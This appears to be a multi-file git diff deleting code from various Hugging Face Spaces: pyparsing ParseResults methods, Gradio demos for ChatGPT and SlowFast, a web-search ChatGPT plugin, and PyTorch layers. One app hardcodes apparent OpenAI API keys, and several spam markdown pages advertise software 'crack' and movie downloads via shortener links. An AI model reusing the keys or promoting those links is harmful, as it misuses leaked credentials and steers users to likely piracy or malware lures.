-    def __contains__(self, k) -> bool:
-        return k in self._tokdict
-
-    def __len__(self) -> int:
-        return len(self._toklist)
-
-    def __bool__(self) -> bool:
-        return not not (self._toklist or self._tokdict)
-
-    def __iter__(self) -> Iterator:
-        return iter(self._toklist)
-
-    def __reversed__(self) -> Iterator:
-        return iter(self._toklist[::-1])
-
-    def keys(self):
-        return iter(self._tokdict)
-
-    def values(self):
-        return (self[k] for k in self.keys())
-
-    def items(self):
-        return ((k, self[k]) for k in self.keys())
-
-    def haskeys(self) -> bool:
-        """
-        Since ``keys()`` returns an iterator, this method is helpful in bypassing
-        code that looks for the existence of any defined results names."""
-        return not not self._tokdict
-
-    def pop(self, *args, **kwargs):
-        """
-        Removes and returns item at specified index (default= ``last``).
-        Supports both ``list`` and ``dict`` semantics for ``pop()``. If
-        passed no argument or an integer argument, it will use ``list``
-        semantics and pop tokens from the list of parsed tokens. If passed
-        a non-integer argument (most likely a string), it will use ``dict``
-        semantics and pop the corresponding value from any defined results
-        names. A second default return value argument is supported, just as in
-        ``dict.pop()``.
-
-        Example::
-
-            numlist = Word(nums)[...]
-            print(numlist.parse_string("0 123 321")) # -> ['0', '123', '321']
-
-            def remove_first(tokens):
-                tokens.pop(0)
-            numlist.add_parse_action(remove_first)
-            print(numlist.parse_string("0 123 321")) # -> ['123', '321']
-
-            label = Word(alphas)
-            patt = label("LABEL") + Word(nums)[1, ...]
-            print(patt.parse_string("AAB 123 321").dump())
-
-            # Use pop() in a parse action to remove named result (note that corresponding value is not
-            # removed from list form of results)
-            def remove_LABEL(tokens):
-                tokens.pop("LABEL")
-                return tokens
-            patt.add_parse_action(remove_LABEL)
-            print(patt.parse_string("AAB 123 321").dump())
-
-        prints::
-
-            ['AAB', '123', '321']
-            - LABEL: 'AAB'
-
-            ['AAB', '123', '321']
-        """
-        if not args:
-            args = [-1]
-        for k, v in kwargs.items():
-            if k == "default":
-                args = (args[0], v)
-            else:
-                raise TypeError(f"pop() got an unexpected keyword argument {k!r}")
-        if isinstance(args[0], int) or len(args) == 1 or args[0] in self:
-            index = args[0]
-            ret = self[index]
-            del self[index]
-            return ret
-        else:
-            defaultvalue = args[1]
-            return defaultvalue
-
-    def get(self, key, default_value=None):
-        """
-        Returns named result matching the given key, or if there is no
-        such name, then returns the given ``default_value`` or ``None`` if no
-        ``default_value`` is specified.
-
-        Similar to ``dict.get()``.
-
-        Example::
-
-            integer = Word(nums)
-            date_str = integer("year") + '/' + integer("month") + '/' + integer("day")
-
-            result = date_str.parse_string("1999/12/31")
-            print(result.get("year")) # -> '1999'
-            print(result.get("hour", "not specified")) # -> 'not specified'
-            print(result.get("hour")) # -> None
-        """
-        if key in self:
-            return self[key]
-        else:
-            return default_value
-
-    def insert(self, index, ins_string):
-        """
-        Inserts new element at location index in the list of parsed tokens.
-
-        Similar to ``list.insert()``.
-
-        Example::
-
-            numlist = Word(nums)[...]
-            print(numlist.parse_string("0 123 321")) # -> ['0', '123', '321']
-
-            # use a parse action to insert the parse location in the front of the parsed results
-            def insert_locn(locn, tokens):
-                tokens.insert(0, locn)
-            numlist.add_parse_action(insert_locn)
-            print(numlist.parse_string("0 123 321")) # -> [0, '0', '123', '321']
-        """
-        self._toklist.insert(index, ins_string)
-        # fixup indices in token dictionary
-        for name, occurrences in self._tokdict.items():
-            for k, (value, position) in enumerate(occurrences):
-                occurrences[k] = _ParseResultsWithOffset(
-                    value, position + (position > index)
-                )
-
-    def append(self, item):
-        """
-        Add single element to end of ``ParseResults`` list of elements.
-
-        Example::
-
-            numlist = Word(nums)[...]
-            print(numlist.parse_string("0 123 321")) # -> ['0', '123', '321']
-
-            # use a parse action to compute the sum of the parsed integers, and add it to the end
-            def append_sum(tokens):
-                tokens.append(sum(map(int, tokens)))
-            numlist.add_parse_action(append_sum)
-            print(numlist.parse_string("0 123 321")) # -> ['0', '123', '321', 444]
-        """
-        self._toklist.append(item)
-
-    def extend(self, itemseq):
-        """
-        Add sequence of elements to end of ``ParseResults`` list of elements.
-
-        Example::
-
-            patt = Word(alphas)[1, ...]
-
-            # use a parse action to append the reverse of the matched strings, to make a palindrome
-            def make_palindrome(tokens):
-                tokens.extend(reversed([t[::-1] for t in tokens]))
-                return ''.join(tokens)
-            patt.add_parse_action(make_palindrome)
-            print(patt.parse_string("lskdj sdlkjf lksd")) # -> 'lskdjsdlkjflksddsklfjkldsjdksl'
-        """
-        if isinstance(itemseq, ParseResults):
-            self.__iadd__(itemseq)
-        else:
-            self._toklist.extend(itemseq)
-
-    def clear(self):
-        """
-        Clear all elements and results names.
-        """
-        del self._toklist[:]
-        self._tokdict.clear()
-
-    def __getattr__(self, name):
-        try:
-            return self[name]
-        except KeyError:
-            if name.startswith("__"):
-                raise AttributeError(name)
-            return ""
-
-    def __add__(self, other: "ParseResults") -> "ParseResults":
-        ret = self.copy()
-        ret += other
-        return ret
-
-    def __iadd__(self, other: "ParseResults") -> "ParseResults":
-        if not other:
-            return self
-
-        if other._tokdict:
-            offset = len(self._toklist)
-            addoffset = lambda a: offset if a < 0 else a + offset
-            otheritems = other._tokdict.items()
-            otherdictitems = [
-                (k, _ParseResultsWithOffset(v[0], addoffset(v[1])))
-                for k, vlist in otheritems
-                for v in vlist
-            ]
-            for k, v in otherdictitems:
-                self[k] = v
-                if isinstance(v[0], ParseResults):
-                    v[0]._parent = self
-
-        self._toklist += other._toklist
-        self._all_names |= other._all_names
-        return self
-
-    def __radd__(self, other) -> "ParseResults":
-        if isinstance(other, int) and other == 0:
-            # useful for merging many ParseResults using sum() builtin
-            return self.copy()
-        else:
-            # this may raise a TypeError - so be it
-            return other + self
-
-    def __repr__(self) -> str:
-        return f"{type(self).__name__}({self._toklist!r}, {self.as_dict()})"
-
-    def __str__(self) -> str:
-        return (
-            "["
-            + ", ".join(
-                [
-                    str(i) if isinstance(i, ParseResults) else repr(i)
-                    for i in self._toklist
-                ]
-            )
-            + "]"
-        )
-
-    def _asStringList(self, sep=""):
-        out = []
-        for item in self._toklist:
-            if out and sep:
-                out.append(sep)
-            if isinstance(item, ParseResults):
-                out += item._asStringList()
-            else:
-                out.append(str(item))
-        return out
-
-    def as_list(self) -> list:
-        """
-        Returns the parse results as a nested list of matching tokens, all converted to strings.
-
-        Example::
-
-            patt = Word(alphas)[1, ...]
-            result = patt.parse_string("sldkj lsdkj sldkj")
-            # even though the result prints in string-like form, it is actually a pyparsing ParseResults
-            print(type(result), result) # -> <class 'pyparsing.ParseResults'> ['sldkj', 'lsdkj', 'sldkj']
-
-            # Use as_list() to create an actual list
-            result_list = result.as_list()
-            print(type(result_list), result_list) # -> <class 'list'> ['sldkj', 'lsdkj', 'sldkj']
-        """
-        return [
-            res.as_list() if isinstance(res, ParseResults) else res
-            for res in self._toklist
-        ]
-
-    def as_dict(self) -> dict:
-        """
-        Returns the named parse results as a nested dictionary.
-
-        Example::
-
-            integer = Word(nums)
-            date_str = integer("year") + '/' + integer("month") + '/' + integer("day")
-
-            result = date_str.parse_string('12/31/1999')
-            print(type(result), repr(result)) # -> <class 'pyparsing.ParseResults'> (['12', '/', '31', '/', '1999'], {'day': [('1999', 4)], 'year': [('12', 0)], 'month': [('31', 2)]})
-
-            result_dict = result.as_dict()
-            print(type(result_dict), repr(result_dict)) # -> <class 'dict'> {'day': '1999', 'year': '12', 'month': '31'}
-
-            # even though a ParseResults supports dict-like access, sometime you just need to have a dict
-            import json
-            print(json.dumps(result)) # -> Exception: TypeError: ... is not JSON serializable
-            print(json.dumps(result.as_dict())) # -> {"month": "31", "day": "1999", "year": "12"}
-        """
-
-        def to_item(obj):
-            if isinstance(obj, ParseResults):
-                return obj.as_dict() if obj.haskeys() else [to_item(v) for v in obj]
-            else:
-                return obj
-
-        return dict((k, to_item(v)) for k, v in self.items())
-
-    def copy(self) -> "ParseResults":
-        """
-        Returns a new shallow copy of a :class:`ParseResults` object. `ParseResults`
-        items contained within the source are shared with the copy. Use
-        :class:`ParseResults.deepcopy()` to create a copy with its own separate
-        content values.
-        """
-        ret = ParseResults(self._toklist)
-        ret._tokdict = self._tokdict.copy()
-        ret._parent = self._parent
-        ret._all_names |= self._all_names
-        ret._name = self._name
-        return ret
-
-    def deepcopy(self) -> "ParseResults":
-        """
-        Returns a new deep copy of a :class:`ParseResults` object.
-        """
-        ret = self.copy()
-        # replace values with copies if they are of known mutable types
-        for i, obj in enumerate(self._toklist):
-            if isinstance(obj, ParseResults):
-                self._toklist[i] = obj.deepcopy()
-            elif isinstance(obj, (str, bytes)):
-                pass
-            elif isinstance(obj, MutableMapping):
-                self._toklist[i] = dest = type(obj)()
-                for k, v in obj.items():
-                    dest[k] = v.deepcopy() if isinstance(v, ParseResults) else v
-            elif isinstance(obj, Container):
-                self._toklist[i] = type(obj)(
-                    v.deepcopy() if isinstance(v, ParseResults) else v for v in obj
-                )
-        return ret
-
-    def get_name(self):
-        r"""
-        Returns the results name for this token expression. Useful when several
-        different expressions might match at a particular location.
-
-        Example::
-
-            integer = Word(nums)
-            ssn_expr = Regex(r"\d\d\d-\d\d-\d\d\d\d")
-            house_number_expr = Suppress('#') + Word(nums, alphanums)
-            user_data = (Group(house_number_expr)("house_number")
-                        | Group(ssn_expr)("ssn")
-                        | Group(integer)("age"))
-            user_info = user_data[1, ...]
-
-            result = user_info.parse_string("22 111-22-3333 #221B")
-            for item in result:
-                print(item.get_name(), ':', item[0])
-
-        prints::
-
-            age : 22
-            ssn : 111-22-3333
-            house_number : 221B
-        """
-        if self._name:
-            return self._name
-        elif self._parent:
-            par: "ParseResults" = self._parent
-            parent_tokdict_items = par._tokdict.items()
-            return next(
-                (
-                    k
-                    for k, vlist in parent_tokdict_items
-                    for v, loc in vlist
-                    if v is self
-                ),
-                None,
-            )
-        elif (
-            len(self) == 1
-            and len(self._tokdict) == 1
-            and next(iter(self._tokdict.values()))[0][1] in (0, -1)
-        ):
-            return next(iter(self._tokdict.keys()))
-        else:
-            return None
-
-    def dump(self, indent="", full=True, include_list=True, _depth=0) -> str:
-        """
-        Diagnostic method for listing out the contents of
-        a :class:`ParseResults`. Accepts an optional ``indent`` argument so
-        that this string can be embedded in a nested display of other data.
-
-        Example::
-
-            integer = Word(nums)
-            date_str = integer("year") + '/' + integer("month") + '/' + integer("day")
-
-            result = date_str.parse_string('1999/12/31')
-            print(result.dump())
-
-        prints::
-
-            ['1999', '/', '12', '/', '31']
-            - day: '31'
-            - month: '12'
-            - year: '1999'
-        """
-        out = []
-        NL = "\n"
-        out.append(indent + str(self.as_list()) if include_list else "")
-
-        if full:
-            if self.haskeys():
-                items = sorted((str(k), v) for k, v in self.items())
-                for k, v in items:
-                    if out:
-                        out.append(NL)
-                    out.append(f"{indent}{('  ' * _depth)}- {k}: ")
-                    if isinstance(v, ParseResults):
-                        if v:
-                            out.append(
-                                v.dump(
-                                    indent=indent,
-                                    full=full,
-                                    include_list=include_list,
-                                    _depth=_depth + 1,
-                                )
-                            )
-                        else:
-                            out.append(str(v))
-                    else:
-                        out.append(repr(v))
-            if any(isinstance(vv, ParseResults) for vv in self):
-                v = self
-                for i, vv in enumerate(v):
-                    if isinstance(vv, ParseResults):
-                        out.append(
-                            "\n{}{}[{}]:\n{}{}{}".format(
-                                indent,
-                                ("  " * (_depth)),
-                                i,
-                                indent,
-                                ("  " * (_depth + 1)),
-                                vv.dump(
-                                    indent=indent,
-                                    full=full,
-                                    include_list=include_list,
-                                    _depth=_depth + 1,
-                                ),
-                            )
-                        )
-                    else:
-                        out.append(
-                            "\n%s%s[%d]:\n%s%s%s"
-                            % (
-                                indent,
-                                ("  " * (_depth)),
-                                i,
-                                indent,
-                                ("  " * (_depth + 1)),
-                                str(vv),
-                            )
-                        )
-
-        return "".join(out)
-
-    def pprint(self, *args, **kwargs):
-        """
-        Pretty-printer for parsed results as a list, using the
-        `pprint <https://docs.python.org/3/library/pprint.html>`_ module.
-        Accepts additional positional or keyword args as defined for
-        `pprint.pprint <https://docs.python.org/3/library/pprint.html#pprint.pprint>`_ .
-
-        Example::
-
-            ident = Word(alphas, alphanums)
-            num = Word(nums)
-            func = Forward()
-            term = ident | num | Group('(' + func + ')')
-            func <<= ident + Group(Optional(DelimitedList(term)))
-            result = func.parse_string("fna a,b,(fnb c,d,200),100")
-            result.pprint(width=40)
-
-        prints::
-
-            ['fna',
-             ['a',
-              'b',
-              ['(', 'fnb', ['c', 'd', '200'], ')'],
-              '100']]
-        """
-        pprint.pprint(self.as_list(), *args, **kwargs)
-
-    # add support for pickle protocol
-    def __getstate__(self):
-        return (
-            self._toklist,
-            (
-                self._tokdict.copy(),
-                None,
-                self._all_names,
-                self._name,
-            ),
-        )
-
-    def __setstate__(self, state):
-        self._toklist, (self._tokdict, par, inAccumNames, self._name) = state
-        self._all_names = set(inAccumNames)
-        self._parent = None
-
-    def __getnewargs__(self):
-        return self._toklist, self._name
-
-    def __dir__(self):
-        return dir(type(self)) + list(self.keys())
-
-    @classmethod
-    def from_dict(cls, other, name=None) -> "ParseResults":
-        """
-        Helper classmethod to construct a ``ParseResults`` from a ``dict``, preserving the
-        name-value relations as results names. If an optional ``name`` argument is
-        given, a nested ``ParseResults`` will be returned.
-        """
-
-        def is_iterable(obj):
-            try:
-                iter(obj)
-            except Exception:
-                return False
-            # str's are iterable, but in pyparsing, we don't want to iterate over them
-            else:
-                return not isinstance(obj, str_type)
-
-        ret = cls([])
-        for k, v in other.items():
-            if isinstance(v, Mapping):
-                ret += cls.from_dict(v, name=k)
-            else:
-                ret += cls([v], name=k, asList=is_iterable(v))
-        if name is not None:
-            ret = cls([ret], name=name)
-        return ret
-
-    asList = as_list
-    """Deprecated - use :class:`as_list`"""
-    asDict = as_dict
-    """Deprecated - use :class:`as_dict`"""
-    getName = get_name
-    """Deprecated - use :class:`get_name`"""
-
-
-MutableMapping.register(ParseResults)
-MutableSequence.register(ParseResults)
diff --git a/spaces/pycui/RealChar/client/web/src/components/MobileWarning/style.css b/spaces/pycui/RealChar/client/web/src/components/MobileWarning/style.css
deleted file mode 100644
index 0109ebc5272c780cb305e47872408ac33af1c836..0000000000000000000000000000000000000000
--- a/spaces/pycui/RealChar/client/web/src/components/MobileWarning/style.css
+++ /dev/null
@@ -1,15 +0,0 @@
-#mobile-warning {
-    color:white;
-  }
-  
-#mobile-warning p {
-    margin-bottom: 10px;
-}
-
-@media (max-width: 768px) {
-    #mobile-warning { display: block; }
-}
-  
-@media (min-width: 769px) {
-    #mobile-warning { display: none; }
-}
\ No newline at end of file
diff --git a/spaces/pyodide-demo/self-hosted/beautifulsoup4.js b/spaces/pyodide-demo/self-hosted/beautifulsoup4.js
deleted file mode 100644
index 91a202d0be5f6b25cc65a851a3228735c01e65dd..0000000000000000000000000000000000000000
--- a/spaces/pyodide-demo/self-hosted/beautifulsoup4.js
+++ /dev/null
@@ -1 +0,0 @@
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diff --git a/spaces/pyresearch/pyresearch/app.py b/spaces/pyresearch/pyresearch/app.py
deleted file mode 100644
index 788917be102afd48e62ab720ca31987b95f09bb7..0000000000000000000000000000000000000000
--- a/spaces/pyresearch/pyresearch/app.py
+++ /dev/null
@@ -1,67 +0,0 @@
-import os
-
-import openai
-import gradio as gr
-
-openai.api_key = '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'
-#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
-
-def clean_textbox(*args):
-    n = len(args)
-    return [""] * n
-
-
-class ChatGPT:
-    def __init__(self):
-        self.messages = [{'role': 'system', 'content': "You are now a very useful maid assistant! If you have a question you can't answer, please reply with As a classy girl, I can't answer this question"}]
-
-    def reset(self, *args):
-        self.messages = [{'role': 'system', 'content': "You are now a very useful maid assistant! If you have a question you can't answer, please reply with As a classy girl, I can't answer this question"}]
-        return clean_textbox(*args)
-
-    def chat(self, prompt):
-        self.messages.append({"role": "user", "content": prompt})
-        completion = openai.ChatCompletion.create(
-            model="gpt-3.5-turbo",
-            messages=self.messages,
-            temperature=0.7
-        )
-        res_msg = completion.choices[0].message["content"].strip()
-        self.messages.append({"role": "assistant", "content": res_msg})
-        return res_msg
-
-
-if __name__ == '__main__':
-    my_chatgpt = ChatGPT()
-    with gr.Blocks(title="ChatGPT") as demo:
-        gr.Markdown('''
-        # ChatGPT
-                ''')
-        with gr.Row():
-            with gr.Column(scale=9):
-                prompt = gr.Text(label='ChatGPT_Prompt', show_label=False, lines=3,
-                                 placeholder='ChatGPT Prompt')
-                res = gr.Text(label='ChatGPT_result', show_label=False, lines=3,
-                              placeholder='chatgpt results')
-
-            with gr.Column(scale=1):
-                btn_gen = gr.Button(value="send", variant='primary')
-                btn_clear = gr.Button(value="restart chat")
-
-        gr.Examples([
-            ["How to Become a My channel Grow more Pyresearch youtube channel"],
-            ["Suppose there is a pond with an infinite amount of water in it. There are currently 2 empty jugs with volumes of 5 liters and 6 liters respectively. The problem is how to get 3 liters of water from the pond with only these 2 jugs."],
-            ["Please help me with C++Write quick sort code."]],
-            inputs=[prompt],
-            outputs=[res],
-            fn=my_chatgpt.chat,
-            cache_examples=False)
-
-        btn_gen.click(fn=my_chatgpt.chat, inputs=prompt,
-                      outputs=res)
-        btn_clear.click(fn=my_chatgpt.reset,
-                        inputs=[prompt, res],
-                        outputs=[prompt, res])
-
-    demo.queue()
-    demo.launch()
diff --git a/spaces/pytorch/SlowFast/app.py b/spaces/pytorch/SlowFast/app.py
deleted file mode 100644
index a165bc851b8ba3b48f30e801b181ec5b4ec1d8ec..0000000000000000000000000000000000000000
--- a/spaces/pytorch/SlowFast/app.py
+++ /dev/null
@@ -1,131 +0,0 @@
-import torch
-# Choose the `slowfast_r50` model 
-model = torch.hub.load('facebookresearch/pytorchvideo', 'slowfast_r50', pretrained=True)
-from typing import Dict
-import json
-import urllib
-from torchvision.transforms import Compose, Lambda
-from torchvision.transforms._transforms_video import (
-    CenterCropVideo,
-    NormalizeVideo,
-)
-from pytorchvideo.data.encoded_video import EncodedVideo
-from pytorchvideo.transforms import (
-    ApplyTransformToKey,
-    ShortSideScale,
-    UniformTemporalSubsample,
-    UniformCropVideo
-) 
-
-import gradio as gr
-# Set to GPU or CPU
-device = "cpu"
-model = model.eval()
-model = model.to(device)
-json_url = "https://dl.fbaipublicfiles.com/pyslowfast/dataset/class_names/kinetics_classnames.json"
-json_filename = "kinetics_classnames.json"
-try: urllib.URLopener().retrieve(json_url, json_filename)
-except: urllib.request.urlretrieve(json_url, json_filename)
-with open(json_filename, "r") as f:
-    kinetics_classnames = json.load(f)
-
-# Create an id to label name mapping
-kinetics_id_to_classname = {}
-for k, v in kinetics_classnames.items():
-    kinetics_id_to_classname[v] = str(k).replace('"', "")
-side_size = 256
-mean = [0.45, 0.45, 0.45]
-std = [0.225, 0.225, 0.225]
-crop_size = 256
-num_frames = 32
-sampling_rate = 2
-frames_per_second = 30
-slowfast_alpha = 4
-num_clips = 10
-num_crops = 3
-
-class PackPathway(torch.nn.Module):
-    """
-    Transform for converting video frames as a list of tensors. 
-    """
-    def __init__(self):
-        super().__init__()
-        
-    def forward(self, frames: torch.Tensor):
-        fast_pathway = frames
-        # Perform temporal sampling from the fast pathway.
-        slow_pathway = torch.index_select(
-            frames,
-            1,
-            torch.linspace(
-                0, frames.shape[1] - 1, frames.shape[1] // slowfast_alpha
-            ).long(),
-        )
-        frame_list = [slow_pathway, fast_pathway]
-        return frame_list
-
-transform =  ApplyTransformToKey(
-    key="video",
-    transform=Compose(
-        [
-            UniformTemporalSubsample(num_frames),
-            Lambda(lambda x: x/255.0),
-            NormalizeVideo(mean, std),
-            ShortSideScale(
-                size=side_size
-            ),
-            CenterCropVideo(crop_size),
-            PackPathway()
-        ]
-    ),
-)
-
-# The duration of the input clip is also specific to the model.
-clip_duration = (num_frames * sampling_rate)/frames_per_second
-url_link = "https://dl.fbaipublicfiles.com/pytorchvideo/projects/archery.mp4"
-video_path = 'archery.mp4'
-try: urllib.URLopener().retrieve(url_link, video_path)
-except: urllib.request.urlretrieve(url_link, video_path)
-# Select the duration of the clip to load by specifying the start and end duration
-# The start_sec should correspond to where the action occurs in the video
-
-def inference(in_vid):
-    start_sec = 0
-    end_sec = start_sec + clip_duration
-
-    # Initialize an EncodedVideo helper class and load the video
-    video = EncodedVideo.from_path(in_vid)
-
-    # Load the desired clip
-    video_data = video.get_clip(start_sec=start_sec, end_sec=end_sec)
-
-    # Apply a transform to normalize the video input
-    video_data = transform(video_data)
-
-    # Move the inputs to the desired device
-    inputs = video_data["video"]
-    inputs = [i.to(device)[None, ...] for i in inputs]
-    # Pass the input clip through the model
-    preds = model(inputs)
-
-    # Get the predicted classes
-    post_act = torch.nn.Softmax(dim=1)
-    preds = post_act(preds)
-    pred_classes = preds.topk(k=5).indices[0]
-
-    # Map the predicted classes to the label names
-    pred_class_names = [kinetics_id_to_classname[int(i)] for i in pred_classes]
-    return "%s" % ", ".join(pred_class_names)
-
-inputs = gr.inputs.Video(label="Input Video")
-outputs = gr.outputs.Textbox(label="Top 5 predicted labels")
-
-title = "SLOWFAST"
-description = "demo for SLOWFAST, SlowFast networks pretrained on the Kinetics 400 dataset. To use it, simply upload your video, or click one of the examples to load them. Read more at the links below."
-article = "<p style='text-align: center'><a href='https://arxiv.org/abs/1812.03982'>SlowFast Networks for Video Recognition</a> | <a href='https://github.com/facebookresearch/pytorchvideo'>Github Repo</a></p>"
-
-examples = [
-    ['archery.mp4']
-]
-
-gr.Interface(inference, inputs, outputs, title=title, description=description, article=article, examples=examples, analytics_enabled=False).launch(debug=True)
\ No newline at end of file
diff --git "a/spaces/qingxu98/gpt-academic/crazy_functions/\350\201\224\347\275\221\347\232\204ChatGPT.py" "b/spaces/qingxu98/gpt-academic/crazy_functions/\350\201\224\347\275\221\347\232\204ChatGPT.py"
deleted file mode 100644
index 4ed9aebf97834418d145ab1dd5b22ca7f4f9b214..0000000000000000000000000000000000000000
--- "a/spaces/qingxu98/gpt-academic/crazy_functions/\350\201\224\347\275\221\347\232\204ChatGPT.py"
+++ /dev/null
@@ -1,106 +0,0 @@
-from toolbox import CatchException, update_ui
-from .crazy_utils import request_gpt_model_in_new_thread_with_ui_alive, input_clipping
-import requests
-from bs4 import BeautifulSoup
-from request_llm.bridge_all import model_info
-
-def google(query, proxies):
-    query = query # 在此处替换您要搜索的关键词
-    url = f"https://www.google.com/search?q={query}"
-    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36'}
-    response = requests.get(url, headers=headers, proxies=proxies)
-    soup = BeautifulSoup(response.content, 'html.parser')
-    results = []
-    for g in soup.find_all('div', class_='g'):
-        anchors = g.find_all('a')
-        if anchors:
-            link = anchors[0]['href']
-            if link.startswith('/url?q='):
-                link = link[7:]
-            if not link.startswith('http'):
-                continue
-            title = g.find('h3').text
-            item = {'title': title, 'link': link}
-            results.append(item)
-
-    for r in results:
-        print(r['link'])
-    return results
-
-def scrape_text(url, proxies) -> str:
-    """Scrape text from a webpage
-
-    Args:
-        url (str): The URL to scrape text from
-
-    Returns:
-        str: The scraped text
-    """
-    headers = {
-        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
-        'Content-Type': 'text/plain',
-    }
-    try: 
-        response = requests.get(url, headers=headers, proxies=proxies, timeout=8)
-        if response.encoding == "ISO-8859-1": response.encoding = response.apparent_encoding
-    except: 
-        return "无法连接到该网页"
-    soup = BeautifulSoup(response.text, "html.parser")
-    for script in soup(["script", "style"]):
-        script.extract()
-    text = soup.get_text()
-    lines = (line.strip() for line in text.splitlines())
-    chunks = (phrase.strip() for line in lines for phrase in line.split("  "))
-    text = "\n".join(chunk for chunk in chunks if chunk)
-    return text
-
-@CatchException
-def 连接网络回答问题(txt, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt, web_port):
-    """
-    txt             输入栏用户输入的文本，例如需要翻译的一段话，再例如一个包含了待处理文件的路径
-    llm_kwargs      gpt模型参数，如温度和top_p等，一般原样传递下去就行
-    plugin_kwargs   插件模型的参数，暂时没有用武之地
-    chatbot         聊天显示框的句柄，用于显示给用户
-    history         聊天历史，前情提要
-    system_prompt   给gpt的静默提醒
-    web_port        当前软件运行的端口号
-    """
-    history = []    # 清空历史，以免输入溢出
-    chatbot.append((f"请结合互联网信息回答以下问题：{txt}", 
-                    "[Local Message] 请注意，您正在调用一个[函数插件]的模板，该模板可以实现ChatGPT联网信息综合。该函数面向希望实现更多有趣功能的开发者，它可以作为创建新功能函数的模板。您若希望分享新的功能模组，请不吝PR！"))
-    yield from update_ui(chatbot=chatbot, history=history) # 刷新界面 # 由于请求gpt需要一段时间，我们先及时地做一次界面更新
-
-    # ------------- < 第1步：爬取搜索引擎的结果 > -------------
-    from toolbox import get_conf
-    proxies, = get_conf('proxies')
-    urls = google(txt, proxies)
-    history = []
-    if len(urls) == 0:
-        chatbot.append((f"结论：{txt}",
-                        "[Local Message] 受到google限制，无法从google获取信息！"))
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面 # 由于请求gpt需要一段时间，我们先及时地做一次界面更新
-        return
-    # ------------- < 第2步：依次访问网页 > -------------
-    max_search_result = 5   # 最多收纳多少个网页的结果
-    for index, url in enumerate(urls[:max_search_result]):
-        res = scrape_text(url['link'], proxies)
-        history.extend([f"第{index}份搜索结果：", res])
-        chatbot.append([f"第{index}份搜索结果：", res[:500]+"......"])
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面 # 由于请求gpt需要一段时间，我们先及时地做一次界面更新
-
-    # ------------- < 第3步：ChatGPT综合 > -------------
-    i_say = f"从以上搜索结果中抽取信息，然后回答问题：{txt}"
-    i_say, history = input_clipping(    # 裁剪输入，从最长的条目开始裁剪，防止爆token
-        inputs=i_say, 
-        history=history, 
-        max_token_limit=model_info[llm_kwargs['llm_model']]['max_token']*3//4
-    )
-    gpt_say = yield from request_gpt_model_in_new_thread_with_ui_alive(
-        inputs=i_say, inputs_show_user=i_say, 
-        llm_kwargs=llm_kwargs, chatbot=chatbot, history=history, 
-        sys_prompt="请从给定的若干条搜索结果中抽取信息，对最相关的两个搜索结果进行总结，然后回答问题。"
-    )
-    chatbot[-1] = (i_say, gpt_say)
-    history.append(i_say);history.append(gpt_say)
-    yield from update_ui(chatbot=chatbot, history=history) # 刷新界面 # 界面更新
-
diff --git a/spaces/quidiaMuxgu/Expedit-SAM/Citylights 1080p Movies Download.md b/spaces/quidiaMuxgu/Expedit-SAM/Citylights 1080p Movies Download.md
deleted file mode 100644
index 7658750f274ea8bdbd4116bd7c715f15337d513f..0000000000000000000000000000000000000000
--- a/spaces/quidiaMuxgu/Expedit-SAM/Citylights 1080p Movies Download.md	
+++ /dev/null
@@ -1,6 +0,0 @@
-<h2>Citylights 1080p Movies Download</h2><br /><p><b><b>Download File</b> &#9989; <a href="https://geags.com/2uCs3n">https://geags.com/2uCs3n</a></b></p><br /><br />
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index 179fdf5ab695937efad29392d388356fede28fb4..0000000000000000000000000000000000000000
--- a/spaces/quidiaMuxgu/Expedit-SAM/Layers In Revit 2013 Crack.md	
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-<h2>layers in revit 2013 crack</h2><br /><p><b><b>Download File</b> ===== <a href="https://geags.com/2uCqs3">https://geags.com/2uCqs3</a></b></p><br /><br />
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index a015702a63bd52ce585291e980955f60769ca8b2..0000000000000000000000000000000000000000
--- a/spaces/quidiaMuxgu/Expedit-SAM/Mesnevija Na Bosanskom Pdf Download.md	
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diff --git a/spaces/r3gm/Aesthetic_RVC_Inference_HF/lib/infer/infer_libs/uvr5_pack/lib_v5/layers_537238KB.py b/spaces/r3gm/Aesthetic_RVC_Inference_HF/lib/infer/infer_libs/uvr5_pack/lib_v5/layers_537238KB.py
deleted file mode 100644
index 9b127bc6427f5c60c8cf85603a3d8a093c3501c4..0000000000000000000000000000000000000000
--- a/spaces/r3gm/Aesthetic_RVC_Inference_HF/lib/infer/infer_libs/uvr5_pack/lib_v5/layers_537238KB.py
+++ /dev/null
@@ -1,126 +0,0 @@
-import torch
-import torch.nn.functional as F
-from torch import nn
-
-from . import spec_utils
-
-
-class Conv2DBNActiv(nn.Module):
-    def __init__(self, nin, nout, ksize=3, stride=1, pad=1, dilation=1, activ=nn.ReLU):
-        super(Conv2DBNActiv, self).__init__()
-        self.conv = nn.Sequential(
-            nn.Conv2d(
-                nin,
-                nout,
-                kernel_size=ksize,
-                stride=stride,
-                padding=pad,
-                dilation=dilation,
-                bias=False,
-            ),
-            nn.BatchNorm2d(nout),
-            activ(),
-        )
-
-    def __call__(self, x):
-        return self.conv(x)
-
-
-class SeperableConv2DBNActiv(nn.Module):
-    def __init__(self, nin, nout, ksize=3, stride=1, pad=1, dilation=1, activ=nn.ReLU):
-        super(SeperableConv2DBNActiv, self).__init__()
-        self.conv = nn.Sequential(
-            nn.Conv2d(
-                nin,
-                nin,
-                kernel_size=ksize,
-                stride=stride,
-                padding=pad,
-                dilation=dilation,
-                groups=nin,
-                bias=False,
-            ),
-            nn.Conv2d(nin, nout, kernel_size=1, bias=False),
-            nn.BatchNorm2d(nout),
-            activ(),
-        )
-
-    def __call__(self, x):
-        return self.conv(x)
-
-
-class Encoder(nn.Module):
-    def __init__(self, nin, nout, ksize=3, stride=1, pad=1, activ=nn.LeakyReLU):
-        super(Encoder, self).__init__()
-        self.conv1 = Conv2DBNActiv(nin, nout, ksize, 1, pad, activ=activ)
-        self.conv2 = Conv2DBNActiv(nout, nout, ksize, stride, pad, activ=activ)
-
-    def __call__(self, x):
-        skip = self.conv1(x)
-        h = self.conv2(skip)
-
-        return h, skip
-
-
-class Decoder(nn.Module):
-    def __init__(
-        self, nin, nout, ksize=3, stride=1, pad=1, activ=nn.ReLU, dropout=False
-    ):
-        super(Decoder, self).__init__()
